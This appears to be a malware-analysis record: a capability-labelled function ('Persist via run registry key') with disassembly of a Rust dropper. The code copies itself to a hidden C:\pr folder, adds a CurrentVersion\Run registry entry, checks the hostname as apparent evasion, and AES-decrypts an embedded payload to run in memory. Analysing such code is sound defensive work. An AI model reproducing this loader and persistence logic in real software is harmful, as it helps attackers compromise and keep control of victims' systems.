Function at 0x140002b00
Capabilities:
Persist via run registry key

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x6e8
movaps xmmword [rsp + 0x6d0], xmm6
lea rcx, [rsp + 0x150]
call sym.gethostname::gethostname::hb126464cabf4c37e
mov rcx, qword [rsp + 0x158]
cmp qword [rsp + 0x160], 6
jne 0x140002b54
mov eax, 0x394c4148
xor eax, dword [rcx]
movzx edx, word [rcx + 4]
xor edx, 0x4854
or edx, eax
je 0x1400030cc
mov rdx, qword [rsp + 0x150]
test rdx, rdx
je 0x140002b6c
mov r8d, 1
call sym.__rust_dealloc
mov byte [rsp + 0x150], 1
lea rdx, str.C:_pr
lea rcx, [rsp + 0x150]
mov r8d, 5
call dbg._create
test rax, rax
jne 0x140003426
movabs r13, 0x8000000000000000
lea rcx, [rsp + 0x150]
call sym.std::env::current_exe::h7b4713fe7c2ea908
mov rdi, qword [rsp + 0x150]
cmp rdi, r13
je 0x14000342b
mov rbx, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x160]
mov rcx, rbx
mov rdx, rsi
call sym.std::path::Path::file_name::h540fc2b263400e3f
test rax, rax
je 0x140003435
mov qword [rsp + 0x20], rdx
lea rdx, str.C:_pr
lea rcx, [rsp + 0x30]
mov r8d, 5
mov r9, rax
call sym.std::path::Path::_join::he9bfec2e9d81dcf5
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x150]
mov rdx, rbx
mov r8, rsi
mov r9, r14
call dbg.copy
cmp qword [rsp + 0x150], 0
jne 0x140003446
lea rdx, str.attribhC:_pr_.exe
lea rcx, [rsp + 0x150]
mov r8d, 6
call sym.std::sys::pal::windows::process::Command::new::hdca0a03f28083bea
lea rsi, [rsp + 0x410]
lea rdx, [rsp + 0x150]
mov r8d, 0xc8
mov rcx, rsi
call sym.memcpy
lea rdx, [0x14075a726]
mov r8d, 2
mov rcx, rsi
call dbg.arg
lea rdx, str.C:_pr
lea rcx, [rsp + 0x410]
mov r8d, 5
call dbg.arg
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x410]
call dbg.output
mov rdx, qword [rsp + 0xa0]
cmp rdx, r13
je 0x140003450
mov rsi, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xc0]
test rdx, rdx
je 0x140002ceb
mov rcx, qword [rsp + 0xa8]
mov r8d, 1
call sym.__rust_dealloc
test rsi, rsi
je 0x140002d01
mov r8d, 1
mov rcx, r12
mov rdx, rsi
call sym.__rust_dealloc
lea rcx, [rsp + 0x410]
call sym.core::ptr::drop_in_place_std::process::Command_::h76b6b61da3233bc3
lea rdx, str.attribhC:_pr_.exe
lea rcx, [rsp + 0x150]
mov r8d, 6
call sym.std::sys::pal::windows::process::Command::new::hdca0a03f28083bea
lea r12, [rsp + 0x410]
lea rdx, [rsp + 0x150]
mov r8d, 0xc8
mov rcx, r12
call sym.memcpy
lea rdx, [0x14075a726]
mov r8d, 2
mov rcx, r12
call dbg.arg
lea rcx, [rsp + 0x410]
mov rdx, r14
mov r8, r15
call dbg.arg
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x410]
call dbg.output
mov rdx, qword [rsp + 0xa0]
cmp rdx, r13
je 0x140003467
mov r15, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xc0]
test rdx, rdx
je 0x140002dbc
mov rcx, qword [rsp + 0xa8]
mov r8d, 1
call sym.__rust_dealloc
test r15, r15
je 0x140002dd2
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
lea r15, [rsp + 0x410]
mov rcx, r15
call sym.core::ptr::drop_in_place_std::process::Command_::h76b6b61da3233bc3
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140002dfa
mov r8d, 1
mov rcx, r14
call sym.__rust_dealloc
test rdi, rdi
je 0x140002e10
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0xa0]
call sym.std::env::current_exe::h7b4713fe7c2ea908
mov rdi, qword [rsp + 0xa0]
cmp rdi, r13
jne 0x140002e3c
lea rcx, [rsp + 0xa8]
call sym.core::ptr::drop_in_place_std::io::error::Error_::hded1e86f51d6505c
jmp 0x140002ffb
mov rbx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
mov rcx, rbx
call sym.std::path::Path::file_stem::h5db49ebe1309f9f3
test rax, rax
je 0x140002fe5
mov r8, rdx
lea r14, [rsp + 0x70]
mov rcx, r14
mov rdx, rax
call sym.std::sys::os_str::wtf8::Slice::to_string_lossy::h54ebd581e1c4de6c
lea rax, [0x14075a728]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 6
lea rax, [rsp + 0x90]
mov qword [rsp + 0x410], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::heb4897e4d6656d59]
mov qword [rsp + 0x418], rax
mov qword [rsp + 0x420], r14
lea rax, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::hee1f58dba6ced995]
mov qword [rsp + 0x428], rax
lea rax, [0x14075a738]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 3
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x160], r15
mov qword [rsp + 0x168], 2
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x150]
call dbg.format_inner
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunpr
lea rcx, [rsp + 0x30]
mov r8d, 0x2d
mov r9d, 0xf003f
call sym.winreg::RegKey::open_subkey_with_flags::hca2edc5856e3858f
mov r14, rdx
test rax, rax
jne 0x14000356d
mov qword [rsp + 0x410], r14
lea rdx, [0x14075a795]
lea rcx, [rsp + 0x410]
lea r9, [rsp + 0x50]
mov r8d, 2
call sym.winreg::RegKey::set_value::hdc43880f78cca8ad
mov qword [rsp + 0x150], rax
test rax, rax
je 0x140002f95
lea rcx, [rsp + 0x150]
call sym.core::ptr::drop_in_place_std::io::error::Error_::hded1e86f51d6505c
lea rcx, [rsp + 0x410]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
lea rcx, [rsp + 0x30]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x140002fc6
mov rcx, qword [rsp + 0x58]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x70]
cmp rdx, r13
je 0x140002fe5
test rdx, rdx
je 0x140002fe5
mov rcx, qword [rsp + 0x78]
mov r8d, 1
call sym.__rust_dealloc
test rdi, rdi
je 0x140002ffb
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
movaps xmm0, xmmword [0x1400aa270]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [0x1400a9008]
movzx eax, byte [rax]
cmp al, 0xff
je 0x14000301e
cmp al, 1
je 0x140003076
jmp 0x1400030f2
lea rcx, [rsp + 0x410]
mov edx, 1
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid::hc830f3902925ba49
lea rcx, [rsp + 0x150]
mov edx, 7
xor r8d, r8d
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid_count::h80a852ebba4e4411
mov esi, dword [rsp + 0x418]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x1400030e8
call sym.core::core_arch::x86::xsave::_xgetbv::hfabc74af9f93e5e2
and eax, 2
shr eax, 1
shr esi, 0x19
and esi, eax
mov rax, qword [0x1400a9008]
mov byte [rax], sil
je 0x1400030f2
lea rdi, [rsp + 0xa0]
lea rdx, [rsp + 0x70]
mov rcx, rdi
call sym.__aes::ni::Aes128Enc_as_crypto_common::KeyInit_::new::h12f7991848897a2b
lea rcx, [rsp + 0x4c0]
mov rdx, rdi
call fcn.140002710
lea rbx, [rsp + 0x410]
mov r8d, 0xb0
mov rcx, rbx
mov rdx, rdi
call sym.memcpy
lea rcx, [rsp + 0x150]
mov r8d, 0x160
mov rdx, rbx
call sym.memcpy
jmp 0x140003104
mov rdx, qword [rsp + 0x150]
test rdx, rdx
je 0x1400033ed
mov r8d, 1
jmp 0x1400033e8
mov rax, qword [0x1400a9008]
mov byte [rax], 0
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x70]
call sym.aes::soft::fixslice::aes128_key_schedule::h25f989570291e32c
lea rcx, [rsp + 0x410]
mov r8d, 0x2c0
lea rdx, [rsp + 0x150]
call sym.memcpy
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
lea r12, [rsp + 0x160]
lea rax, [0x1400aa450]
mov r13d, 0x6b0280
mov ebx, 1
lea rbp, [rsp + 0xb0]
xor edi, edi
xorps xmm6, xmm6
jmp 0x140003194
mov rcx, rdi
sub r13, r14
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rbx + rcx], xmm0
lea rdi, [rcx + 0x10]
mov qword [rsp + 0x40], rdi
mov rax, rsi
test r13, r13
je 0x140003347
cmp r13, 0x10
mov r14d, 0x10
cmovb r14, r13
test r14, r14
je 0x140003409
lea rsi, [rax + r14]
cmp r14, 1
jne 0x140003250
lea rcx, [rsp + 0x150]
test r14b, 1
je 0x1400031e9
cmp rcx, r12
mov edx, 0
cmovne rdx, rcx
mov r8, rsi
cmp rax, rsi
je 0x1400031e4
movzx ecx, byte [rax]
inc rax
mov r8, rax
mov byte [rdx], cl
mov rax, r8
cmp r13, 0x10
jb 0x140003409
cmp rax, rsi
jne 0x140003409
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [0x1400a9008]
movzx eax, byte [rax]
cmp al, 1
jne 0x1400032d0
lea rcx, [rsp + 0x410]
lea rdx, [rsp + 0x50]
mov r8, rdx
call sym._ZN71__LT_aes..autodetect..Aes128_u20_as_u20_cipher..block..BlockDecrypt_GT_20decrypt_with_backend5inner17h6f55afdc8a1db8d0E.l
mov rax, qword [rsp + 0x30]
sub rax, rdi
cmp rax, 0xf
ja 0x140003170
jmp 0x140003325
mov edx, r14d
and edx, 0x1e
lea rcx, [rsp + 0x150]
jmp 0x140003273
mov r9b, r11b
add rcx, r9
mov byte [r10], r15b
add rdx, 0xfffffffffffffffe
je 0x1400031c1
xor r9d, r9d
cmp rcx, r12
setne r11b
mov r10d, 0
cmovne r10, rcx
mov r8, rsi
cmp rax, rsi
je 0x140003299
movzx r15d, byte [rax]
inc rax
mov r8, rax
mov r9b, r11b
add rcx, r9
mov byte [r10], r15b
xor r9d, r9d
cmp rcx, r12
setne r11b
mov r10d, 0
cmovne r10, rcx
mov rax, rsi
cmp r8, rsi
je 0x140003260
movzx r15d, byte [r8]
inc r8
mov rax, r8
jmp 0x140003260
movups xmmword [rbp + 0x20], xmm6
movups xmmword [rbp + 0x10], xmm6
movups xmmword [rbp], xmm6
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x410]
lea r8, [rsp + 0xa0]
call sym.aes::soft::fixslice::aes128_decrypt::h99e63081ab0bfb54
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x30]
sub rax, rdi
cmp rax, 0xf
ja 0x140003170
mov r8d, 0x10
lea rcx, [rsp + 0x30]
mov rdx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h9630a68b8cdbbe0f
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
jmp 0x140003173
test rdi, rdi
je 0x1400034e3
movzx r12d, byte [rcx + rbx + 0xf]
mov r14, rdi
sub r14, r12
jb 0x1400034f4
mov r15d, 1
je 0x140003393
js 0x140003551
mov rax, qword [0x14077f928]
movzx eax, byte [rax]
mov edx, 1
mov rcx, r14
call sym.__rust_alloc
mov r15, rax
test rax, rax
je 0x14000355b
mov rcx, r15
mov rdx, rbx
mov r8, r14
call sym.memcpy
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x1400033b9
mov r8d, 1
mov rcx, rbx
call sym.__rust_dealloc
mov rax, qword [0x1400a9008]
movzx eax, byte [rax]
mov rcx, r15
mov rdx, r14
call sym.memexec::memexec_exe::he8e656062cfd57ec
cmp eax, 0xe
jne 0x14000350b
cmp rdi, r12
je 0x1400033ed
mov r8d, 1
mov rcx, r15
mov rdx, r14
call sym.__rust_dealloc
movaps xmm6, xmmword [rsp + 0x6d0]
add rsp, 0x6e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.Slice_must_be_the_same_length_as_the_arrayC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fgeneric_array_0.14.7_srclib.rs
lea r8, [0x1400aa318]
mov edx, 0x2a
call dbg.expect_failed
jmp 0x1400035fa
mov rsi, rax
jmp 0x1400034aa
mov rsi, qword [rsp + 0x158]
jmp 0x1400034aa
lea rcx, [0x14075a708]
call sym.core::option::unwrap_failed::he3c2cd0918eb9f85
jmp 0x1400035fa
mov rsi, qword [rsp + 0x158]
jmp 0x14000347c
mov rsi, qword [rsp + 0xa8]
lea rcx, [rsp + 0x410]
call sym.core::ptr::drop_in_place_std::process::Command_::h76b6b61da3233bc3
jmp 0x14000347c
mov rsi, qword [rsp + 0xa8]
lea rcx, [rsp + 0x410]
call sym.core::ptr::drop_in_place_std::process::Command_::h76b6b61da3233bc3
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140003494
mov r8d, 1
mov rcx, r14
call sym.__rust_dealloc
test rdi, rdi
je 0x1400034aa
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
mov qword [rsp + 0x150], rsi
lea rax, [0x1400aa420]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400aa330]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::hded1e86f51d6505c
lea r8, [rsp + 0x150]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400035fa
lea rcx, [0x14075a6d0]
call sym.core::option::unwrap_failed::he3c2cd0918eb9f85
jmp 0x1400035fa
lea r8, [0x14075a6e8]
mov rcx, r14
mov rdx, rdi
call dbg.slice_end_index_len_fail
jmp 0x1400035fa
mov rcx, rax
shr rcx, 0x20
mov dword [rsp + 0x150], eax
mov dword [rsp + 0x154], ecx
lea rax, [0x14075a798]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400aa330]
lea r9, sym.core::ptr::drop_in_place_memexec::error::Error_::h82ad4c6407c2ce56
lea r8, [rsp + 0x150]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400035fa
call dbg.capacity_overflow
jmp 0x1400035fa
mov ecx, 1
mov rdx, r14
call dbg.handle_alloc_error
jmp 0x1400035fa
lea rcx, [rsp + 0x30]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x140003591
mov rcx, qword [rsp + 0x58]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x70]
cmp rdx, r13
je 0x1400035b0
test rdx, rdx
je 0x1400035b0
mov rcx, qword [rsp + 0x78]
mov r8d, 1
call sym.__rust_dealloc
test rdi, rdi
je 0x1400035c6
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
mov qword [rsp + 0x150], r14
lea rax, [0x1400aa438]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400aa330]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::hded1e86f51d6505c
lea r8, [rsp + 0x150]
mov edx, 0x2b
call dbg.unwrap_failed
ud2